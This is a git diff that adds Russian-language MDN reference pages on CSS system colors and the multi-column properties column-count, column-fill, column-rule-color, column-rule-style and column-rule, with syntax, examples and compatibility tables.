+ <dt>HighlightText</dt>
+ <dd>Текст элемента(ов), выбранного в элементе управления. Следует использовать с подсветкой цвета фона.</dd>
+ <dt>InactiveBorder</dt>
+ <dd>Граница неактивного окна.</dd>
+ <dt>InactiveCaption</dt>
+ <dd>Заголовок неактивного окна. Должен использоваться с цветом переднего плана <code>InactiveCaptionText</code>.</dd>
+ <dt>InactiveCaptionText</dt>
+ <dd>Следует использовать с <code>InactiveCaption</code> неактивным цветом фона заголовка.</dd>
+ <dt>InfoBackground</dt>
+ <dd>Цвет фона для элементов управления всплывающей подсказки. Должен использоваться с цветом переднего плана <code>InfoText</code>.</dd>
+ <dt>InfoText</dt>
+ <dd>Цвет текста элементов подсказки. Должен использоваться с и<code>InfoBackground</code>фона.</dd>
+ <dt>Menu</dt>
+ <dd>Фон меню. Должен использоваться с <code>MenuText</code> или<code>-moz-MenuBarText</code>строки меню цвет переднего плана.</dd>
+ <dt>MenuText</dt>
+ <dd>Текст в меню. Следует использовать с меню Цвет фона.</dd>
+ <dt>Scrollbar</dt>
+ <dd>Цвет фона полос прокрутки.</dd>
+ <dt>ThreeDDarkShadow</dt>
+ <dd>Цвет более темной (как правило, внешней) из двух границ от источника света для трехмерных элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.</dd>
+ <dt>ThreeDFace</dt>
+ <dd>Should be used with the <code>ButtonText</code> foreground color. Цвет фона лица для трехмерных элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы. Следует использовать с текстом кнопки цвет переднего плана.</dd>
+ <dt>ThreeDHighlight</dt>
+ <dd>Цвет более светлого (обычно внешнего) из двух границ, обращенных к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.</dd>
+ <dt>ThreeDLightShadow</dt>
+ <dd>Цвет более темной (обычно внутренней) из двух границ, обращенных к источнику света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.</dd>
+ <dt>ThreeDShadow</dt>
+ <dd>Цвет более светлого (как правило, внутреннего) из двух границ от источника света для 3-D элементов, которые появляются 3-D из-за двух концентрических слоев окружающей границы.</dd>
+ <dt>Window</dt>
+ <dd>Фон окна. Следует использовать с <code>WindowText</code> цвет переднего плана.</dd>
+ <dt>WindowFrame</dt>
+ <dd>Оконная рама</dd>
+ <dt>WindowText</dt>
+ <dd>Текст в windows. Следует использовать с цветом фона окна.</dd>
+</dl>
+
+<h3 id="Расширеные_Цвета_Системы_Mozilla">Расширеные Цвета Системы Mozilla</h3>
+
+<dl style="">
+ <dt>-moz-ButtonDefault</dt>
+ <dd>Цвет границы вокруг кнопки, которые обозначают действие по умолчанию для диалогового окна.</dd>
+ <dt>-moz-ButtonHoverFace</dt>
+ <dd>Цвет фона кнопки, на которую наведен указатель мыши (который будет Трехлинейным или лицом кнопки, когда указатель мыши не находится над ним). Следует использовать с-moz-кнопка наведения текста цвет переднего плана.</dd>
+ <dt>-moz-ButtonHoverText</dt>
+ <dd>Цвет текста кнопки, на которую наведен указатель мыши (который будет ButtonText, когда указатель мыши не находится над ним). Следует использовать с-<code>-moz-ButtonHoverFace background</code> color.</dd>
+ <dt>-moz-CellHighlight</dt>
+ <dd>Цвет фона для выбранного элемента в виджете дерево. Следует использовать с цветом переднего плана <code>-moz-CellHighlightText</code>. См. также<code>-moz-html-CellHighlight</code>.</dd>
+ <dt>-moz-CellHighlightText</dt>
+ <dd>Цвет текста для выбранного элемента в дереве. Следует использовать с цветом фона <code>moz-CellHighlight background</code>. См. также <code>-moz-html-CellHighlightText</code> выделения ячейки.</dd>
+ <dt>-moz-Combobox</dt>
+ <dd> {{Gecko_minversion_inline ("1.9.2")}} цвет фона для комбинированных полей <code>-moz-ComboboxText</code>. Должен использоваться с цветом переднего плана текста-moz-Combobox. В версиях до 1.9.2 вместо этого используйте <code>-moz-Field</code>.</dd>
+ <dt>-moz-ComboboxText</dt>
+ <dd>{Gecko_minversion_inline ("1.9.2")}} цвет текста для комбинированных полей. Следует использовать с цветом фона <code>-moz-Combobox</code>. В версиях до 1.9.2 вместо этого используйте <code>-moz-FieldText</code>.</dd>
+ <dt>-moz-Dialog</dt>
+ <dd>Цвет фона для диалоговых окон. Должен использоваться с цветом переднего плана -<code>-moz-DialogText</code>.</dd>
+ <dt>-moz-DialogText</dt>
+ <dd>Цвет текста для диалоговых окон. Должен использоваться с цветом фона <code>-moz-Dialog</code>.</dd>
+ <dt>-moz-dragtargetzone</dt>
+ <dt>-moz-EvenTreeRow</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} цвет фона для четных строк в дереве. Должен использоваться с цветом переднего плана <code>-moz-FieldText</code>. В версиях Gecko до 1.9, используйте-moz-поле. См. также <code>-moz-OddTreeRow</code>.</dd>
+ <dt>-moz-Field</dt>
+ <dd>Text field background color. Should be used with the <code>-moz-FieldText</code> foreground color. Цвет фона текстового поля. Должен использоваться с цветом переднего плана<code>-moz-FieldText</code>.</dd>
+ <dt>-moz-FieldText</dt>
+ <dd>Text field text color. Should be used with the <code>-moz-Field</code>, <code>-moz-EvenTreeRow</code>, or <code>-moz-OddTreeRow</code> background color. Текстовое поле цвет текста. Следует использовать с <code>-moz-Field</code>, <code>-moz-EvenTreeRow</code> или <code>-moz-OddTreeRow</code> цветом фона строки дерева.</dd>
+ <dt>-moz-html-CellHighlight</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} Background color for highlighted item in HTML {{HTMLElement("select")}}s. Should be used with the <code>-moz-html-CellHighlightText</code> foreground color. Prior to Gecko 1.9, use <code>-moz-CellHighlight</code>. {{gecko_minversion_inline ("1.9")}} цвет фона для выделенного элемента в HTML {{HTMLElement ("select")}} s. должен использоваться с цветом переднего плана <code>-moz-html-CellHighlight</code>. До Gecko 1.9, используйте <code>-moz-CellHighlightText</code>.                                    </dd>
+ <dt>-moz-html-CellHighlightText</dt>
+ <dd>{{gecko_minversion_inline ("1.9")}} цвет текста для  <code>-moz-html-CellHighlight </code>выделенных элементов в HTML {{HTMLElement ("select")}} s. должен использоваться с цветом фона. До Gecko 1.9, используйте <code>moz-html-CellHighlight</code>.</dd>
+ <dt>-moz-mac-accentdarkestshadow</dt>
+ <dt>-moz-mac-accentdarkshadow</dt>
+ <dt>-moz-mac-accentface</dt>
+ <dt>-moz-mac-accentlightesthighlight</dt>
+ <dt>-moz-mac-accentlightshadow</dt>
+ <dt>-moz-mac-accentregularhighlight</dt>
+ <dt>-moz-mac-accentregularshadow</dt>
+ <dt>-moz-mac-chrome-active</dt>
+ <dd>{{Gecko_minversion_inline("1.9.1")}}</dd>
+ <dt>-moz-mac-chrome-inactive</dt>
+ <dd>{{Gecko_minversion_inline("1.9.1")}}</dd>
+ <dt>-moz-mac-focusring</dt>
+ <dt>-moz-mac-menuselect</dt>
+ <dt>-moz-mac-menushadow</dt>
+ <dt>-moz-mac-menutextselect</dt>
+ <dt>-moz-MenuHover</dt>
+ <dd>Цвет фона для зависших пунктов меню. Часто похожи на <code>Highlight</code>. Следует использовать с <code>moz-MenuHoverText </code>или <code>-moz-MenuBarHoverText</code> при наведении цвет текста переднего плана.</dd>
+ <dt>-moz-MenuHoverText</dt>
+ <dd>Text color for hovered menu items. Often similar to <code>HighlightText</code>. Should be used with the <code>-moz-MenuHover</code> background color. Цвет текста для зависших пунктов меню. Часто похоже на выделение текста <code>HighlightText</code>. Следует использовать  с <code>-moz-MenuHover</code> наведите цвет фона.</dd>
+ <dt>-moz-MenuBarText</dt>
+ <dd>{{Gecko_minversion_inline ("1.9.2")}} цвет текста в строках меню. Часто похоже на текст меню  "<code>MenuText</code>". Должен использоваться поверх фона <code>Menu</code>.</dd>
+ <dt>-moz-MenuBarHoverText</dt>
+ <dd>Цвет для зависшего текста в строках меню. Часто похоже на <code>-moz-MenuHoverText</code>меню наведения текста. Следует использовать поверх <code>-moz-MenuHover</code> наведите фон.</dd>
+ <dt>-moz-nativehyperlinktext</dt>
+ <dd>{{Gecko_minversion_inline ("1.9.1")}} цвет гиперссылки платформы по умолчанию.</dd>
+ <dt>-moz-OddTreeRow</dt>
+ <dd>{{gecko_minversion_inline("1.9")}} цвет фона для нечетных строк в дереве. Должен использоваться с цветом переднего плана <code>-moz-FieldText</code>. В версиях Gecko до 1.9, используйте <code>-moz-Field</code>. Смотрите также <code>-moz-EvenTreeRow</code>.</dd>
+ <dt>-moz-win-communicationstext</dt>
+ <dd>{{gecko_minversion_inline ("1.9")}} следует использовать для текста в объектах с <code>{{cssxref ("- moz-appearance")}}:- moz-win-communications-toolbox;</code>.</dd>
+ <dt>-moz-win-mediatext</dt>
+ <dd>{{gecko_minversion_inline ("1.9")}} следует использовать для текста в объектах с <code>{{cssxref ("- moz-appearance")}}:- moz-win-media-toolbox</code>.</dd>
+ <dt>-moz-win-accentcolor</dt>
+ <dd>{{gecko_minversion_inline ("56")}}<br>
+ Используется для доступа к пользовательскому цвету акцента Windows 10, который можно установить в меню Пуск, панели задач, заголовках и т. д.</dd>
+ <dt>-moz-win-accentcolortext</dt>
+ <dd>{{gecko_minversion_inline ("56")}}<br>
+ Используется для доступа к цвету текста, размещенного над цветом пользовательского акцента Windows 10 в меню Пуск, панели задач, заголовках и т. д.</dd>
+</dl>
+
+<h3 id="Расширения_Цветовых_Предпочтений_Mozilla">Расширения Цветовых Предпочтений Mozilla</h3>
+
+<dl style="font: small Tahoma,'Liberation Sans','Nimbus Sans L',sans-serif; border: 1px solid powderblue; padding: 0.5em 0 0.5em 0.5em; background: #eee;">
+ <dt>-moz-activehyperlinktext</dt>
+ <dd>Пользовательское предпочтение цвета текста активных ссылок. Должен использоваться с цветом фона документа по умолчанию.</dd>
+ <dt>-moz-default-background-color</dt>
+ <dd>{{Gecko_minversion_inline ("5.0")}} предпочтения пользователя для цвета фона документа.</dd>
+ <dt>-moz-default-color</dt>
+ <dd>{{Gecko_minversion_inline ("5.0")}} предпочтения пользователя для цвета текста.</dd>
+ <dt>-moz-hyperlinktext</dt>
+ <dd>Предпочтения пользователя для цвета текста непрошеных ссылок. Должен использоваться с цветом фона документа по умолчанию.</dd>
+ <dt>-moz-visitedhyperlinktext</dt>
+ <dd>Предпочтения пользователя для цвета текста посещенных ссылок. Должен использоваться с цветом фона документа по умолчанию.</dd>
+</dl>
+
+<h2 id="Интерполяция">Интерполяция</h2>
+
+<p>В анимации и <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">градиентах </a>значения <code>&lt;color&gt;</code> интерполируются на каждый из их <a href="https://www.gimp.org/docs/plug-in/appendix-alpha.html">красных, зеленых и синих компонентов</a>. Каждый компонент интерполируется как реальное число с плавающей запятой. Обратите внимание, что интерполяция цветов происходит в Альфа-предварительно умноженном цветовом пространстве rgba, чтобы предотвратить появление неожиданных серых цветов. В анимации, скорость интерполяции определяется <a href="/en-US/docs/Web/CSS/single-transition-timing-function">функцией времени</a>.</p>
+
+<h2 id="Соображения_доступности">Соображения доступности</h2>
+
+<p>Некоторые люди с трудом различают цвета. Рекомендация <a href="https://www.w3.org/TR/WCAG/#visual-audio-contrast">WCAG 2.0</a> настоятельно рекомендует не использовать цвет в качестве единственного средства передачи определенного сообщения, действия или результата. Дополнительную информацию см. В <a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript#Color_and_color_contrast">разделе цвет и цветовой контраст</a>.</p>
+
+<h2 id="Технические_характеристики">Технические характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Пояснения</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Colors', '#colorunits', '&lt;color&gt;')}}</td>
+   <td>{{Spec2('CSS4 Colors')}}</td>
+   <td>Добавляет <code>rebeccapurple</code>, четырехзначные (<code>#RGBA</code>) и восьмизначные (<code>#RRGGBBAA</code>) шестнадцатеричные обозначения, <code>rgba() </code>и <code>hsla()</code> в качестве псевдонимов <code>rgb ()</code> и <code>hsl () </code>(оба с одинаковым синтаксисом параметров), разделенные пробелами параметры функции в качестве альтернативы запятым, проценты для Альфа-значений и углы для компонента оттенка в цветах <code>hsl ()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Colors', '#colorunits', '&lt;color&gt;')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td>Устаревает системные цвета. Добавляет цвета SVG и функциональные обозначения <code>rgb()</code>, <code>hsl ()</code> и <code>hsla()</code>.</td>
+  </tr>
+  <tr style="vertical-align: top;">
+   <td style="vertical-align: top;">{{SpecName('CSS2.1', 'syndata.html#value-def-color', '&lt;color&gt;')}}</td>
+   <td style="vertical-align: top;">{{Spec2('CSS2.1')}}</td>
+   <td style="vertical-align: top;">Добавляет <code>orange</code> keyword(ключевое слово) и системные цвета.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{SpecName('CSS1', '#color-units', '&lt;color&gt;')}}</td>
+   <td style="vertical-align: top;">{{Spec2('CSS1')}}</td>
+   <td style="vertical-align: top;">Первоначальное определение. Включает в себя 16 основных ключевых слов цвета.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div>
+
+<p>{{Compat("css.properties.color")}}</p>
+
+<h2 id="Смотреть_также">Смотреть также</h2>
+
+<ul>
+ <li>Свойство {{Cssxref("непрозрачность")}} позволяет определить прозрачность на уровне элемента.</li>
+ <li>Некоторые общие свойства, которые используют этот тип данных: {{Cssxref("цвет")}}, {{Cssxref("фон")}}, {{Cssxref("бордюр-колор")}}, {{Cssxref("окно-тень")}}, {{Cssxref("контур-цвет")}}, {{Cssxref("текст-тень")}}</li>
+ <li><a href="/en-US/docs/Web/HTML/Applying_color">Применение цвета к элементам HTML с помощью CSS</a></li>
+</ul>
diff --git a/files/ru/web/css/column-count/index.html b/files/ru/web/css/column-count/index.html
new file mode 100644
index 0000000000..33c4606e27
--- /dev/null
+++ b/files/ru/web/css/column-count/index.html
@@ -0,0 +1,97 @@
+---
+title: column-count
+slug: Web/CSS/column-count
+tags:
+  - Свойство
+  - мультиколоночная верстка
+translation_of: Web/CSS/column-count
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS </a>свойство <strong><code>column-count</code></strong> разбивает содержимое элемента на заданное число столбцов.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/column-count.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* Значение, заданное ключевым словом */
+column-count: auto;
+
+/* целое значение */
+column-count: 3;
+
+/* глобальные значения */
+column-count: inherit;
+column-count: initial;
+column-count: unset;</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Количество столбцов определяется другими свойствами CSS, такими как {{cssxref("column-width")}}.</dd>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Является строго положительным {{cssxref("&lt;integer&gt;")}}, описывающим идеальное число столбцов, в которые будет стекаться содержимое элемента.  Если {{cssxref("column-width")}}. также, не установлено в значение  -<code>auto</code>, оно указывает максимально допустимое число столбцов.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="content-box"&gt;
+  This is a bunch of text split into three columns
+  using the CSS `column-count` property. The text
+  is equally distributed over the columns.
+&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.content-box {
+  column-count: 3;
+}
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Example', 'auto', 120)}}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#cc', 'column-count')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.column-count")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column Layout</a> (Learn Layout)</li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Columns/Basic_Concepts_of_Multicol">Basic Concepts of Multicol</a></li>
+</ul>
diff --git a/files/ru/web/css/column-fill/index.html b/files/ru/web/css/column-fill/index.html
new file mode 100644
index 0000000000..1453e8b2c9
--- /dev/null
+++ b/files/ru/web/css/column-fill/index.html
@@ -0,0 +1,117 @@
+---
+title: column-fill
+slug: Web/CSS/column-fill
+translation_of: Web/CSS/column-fill
+---
+<div>{{CSSRef("CSS Multi-columns")}}</div>
+
+<p>Свойство <code>column-fill </code>применяется к родительскому элементу, разбитому на столбцы и указывает как содержимое располагается внутри столбца (column). Если значение свойства <code>column-fill</code> установлено как balanced, то содержимое во всех столбцах будет иметь одинаковую высоту. В случае использования значения <code>auto</code>, содержимое занимает столько прострванства сколько ему потребуется.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">column-fill: auto;
+column-fill: balance;
+
+/* Значения по умолчанию */
+column-fill: inherit;
+column-fill: initial;
+column-fill: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Высота столбцов не контролируется.</dd>
+ <dt><code>balance</code></dt>
+ <dd>Разделяет содержимое на равные по высоте столбцы.</dd>
+</dl>
+
+<h3 id="Возможные_значения">Возможные значения</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush:css; highlight=[4]">.content-box {
+  column-count: 4;
+  column-rule: 1px solid black;
+  column-fill: balance;
+  height: 200px;
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#column-fill', 'column-fill')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Значение по умолчанию</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("13.0")}}{{property_prefix('-moz')}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("13.0")}}{{property_prefix('-moz')}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/column-rule-color/index.html b/files/ru/web/css/column-rule-color/index.html
new file mode 100644
index 0000000000..8d6a6e55d1
--- /dev/null
+++ b/files/ru/web/css/column-rule-color/index.html
@@ -0,0 +1,98 @@
+---
+title: column-rule-color
+slug: Web/CSS/column-rule-color
+tags:
+  - мультиколоночная верстка
+translation_of: Web/CSS/column-rule-color
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS </a>свойство<strong> <code>column-rule-color</code></strong> устанавливает цвет линии, расположенной между колонками при мультиколоночной верстке.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/column-rule-color.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* Значения &lt;color&gt;  */
+column-rule-color: red;
+column-rule-color: rgb(192, 56, 78);
+column-rule-color: transparent;
+column-rule-color: hsla(0, 100%, 50%, 0.6);
+
+/* Глобальные значения */
+column-rule-color: inherit;
+column-rule-color: initial;
+column-rule-color: unset;
+</pre>
+
+<p>Свойство <code>column-rule-color</code> указывает одиночное значение <code>&lt;color&gt;</code>.</p>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>Цвет линий, разделяющих столбцы.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;This is a bunch of text split into three columns.
+   The `column-rule-color` property is used to change
+   the color of the line that is drawn between columns.
+   Don't you think that's wonderful?&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">p {
+  column-count: 3;
+  column-rule-style: solid;
+  column-rule-color: blue;
+}
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#crc', 'column-rule-color')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.column-rule-color")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>The {{cssxref("&lt;color&gt;")}} data type</li>
+ <li>Other color-related properties: {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, and {{cssxref("caret-color")}}</li>
+ <li><a href="/en-US/docs/Web/HTML/Applying_color">Applying color to HTML elements using CSS</a></li>
+</ul>
diff --git a/files/ru/web/css/column-rule-style/index.html b/files/ru/web/css/column-rule-style/index.html
new file mode 100644
index 0000000000..926175caa1
--- /dev/null
+++ b/files/ru/web/css/column-rule-style/index.html
@@ -0,0 +1,95 @@
+---
+title: column-rule-style
+slug: Web/CSS/column-rule-style
+tags:
+  - мультиколоночная верстка
+translation_of: Web/CSS/column-rule-style
+---
+<div>{{ CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>column-rule-style</code></strong> устанавливает стиль линии, расположенной между колонками при мультиколоночной верстке.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/column-rule-style.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;'border-style'&gt; значения */
+column-rule-style: none;
+column-rule-style: hidden;
+column-rule-style: dotted;
+column-rule-style: dashed;
+column-rule-style: solid;
+column-rule-style: double;
+column-rule-style: groove;
+column-rule-style: ridge;
+column-rule-style: inset;
+column-rule-style: outset;
+
+/* глобальные значения */
+column-rule-style: inherit;
+column-rule-style: initial;
+column-rule-style: unset;
+</pre>
+
+<p>Свойство <code>column-rule-style</code> указывается как одиночное <code>&lt;'border-style'&gt;</code> значение.</p>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>Ключевое слово, определяющее  {{ cssxref("border-style") }}, описывающий стиль для линии, разделяющей столбцы. Стилизация должна быть интерпретирована как разрушающая границы модель.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;This is a bunch of text split into three columns.
+   The `column-rule-style` property is used to change
+   the style of the line that is drawn between columns.
+   Don't you think that's wonderful?&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  column-count: 3;
+  column-rule-style: dashed;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Multicol', '#crs', 'column-rule-style') }}</td>
+   <td>{{ Spec2('CSS3 Multicol') }}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.column-rule-style")}}</p>
diff --git a/files/ru/web/css/column-rule/index.html b/files/ru/web/css/column-rule/index.html
new file mode 100644
index 0000000000..a74742f3e6
--- /dev/null
+++ b/files/ru/web/css/column-rule/index.html
@@ -0,0 +1,120 @@
+---
+title: column-rule
+slug: Web/CSS/column-rule
+tags:
+  - мультиколоночная верстка
+translation_of: Web/CSS/column-rule
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="https://wiki.developer.mozilla.org/ru/docs/Web/CSS/Shorthand_properties">Краткая форма записи</a> <a href="/en-US/docs/Web/CSS">CSS</a> свойств <strong><code>column-rule</code></strong> устанавливает ширину, стиль и цвет линии, находящейся между колонками в мультиколоночной верстке.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/column-rule.html")}}</div>
+
+
+
+<p>Эта краткая форма записи задает индивидуальные  <code>column-rule-*</code> свойства, обычно задаваемые: {{Cssxref("column-rule-width")}}, {{Cssxref("column-rule-style")}}, и {{Cssxref("column-rule-color")}}.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Как и с другими краткими формами записи, любые индивидуальные значения, не указанные явно принимают значение по умолчанию (возможно переопределение значений, заданных ранее с помощью свойств, не являющихся краткими формами).</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">column-rule: dotted;
+column-rule: solid 8px;
+column-rule: solid blue;
+column-rule: thick inset blue;
+
+/* глобальные значения */
+column-rule: inherit;
+column-rule: initial;
+column-rule: unset;
+</pre>
+
+<p>Свойство <code>column-rule</code> указывается в виде одного, двух или трех значений, перечисленных ниже, в любом порядке.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>&lt;'column-rule-width'&gt;</code></dt>
+ <dd>{{cssxref("&lt;length&gt;")}} или одно из трех ключевых свойств, <code>thin</code>, <code>medium</code>, или <code>thick</code>. См. подробно -  {{cssxref("border-width")}}.</dd>
+ <dt><code>&lt;'column-rule-style'&gt;</code></dt>
+ <dd>См. подробно {{cssxref("border-style")}} .</dd>
+ <dt><code>&lt;'column-rule-color'&gt;</code></dt>
+ <dd>Значение {{cssxref("&lt;color&gt;")}} .</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Example_1">Example 1</h3>
+
+<pre class="brush: css">/* Аналогично "medium dotted currentColor" */
+p.foo { column-rule: dotted; }
+
+/* Аналогично "medium solid blue" */
+p.bar { column-rule: solid blue; }
+
+/* Аналогично "8px solid currentColor" */
+p.baz { column-rule: solid 8px; }
+
+p.abc { column-rule: thick inset blue; }
+</pre>
+
+<h3 id="Example_2">Example 2</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p class="content-box"&gt;
+  This is a bunch of text split into three columns.
+  Take note of how the `column-rule` property is used
+  to adjust the style, width, and color of the rule
+  that appears between the columns.
+&lt;/p&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.content-box {
+  padding: 0.3em;
+  background: #ff7;
+  column-count: 3;
+  column-rule: inset 2px #33f;
+}
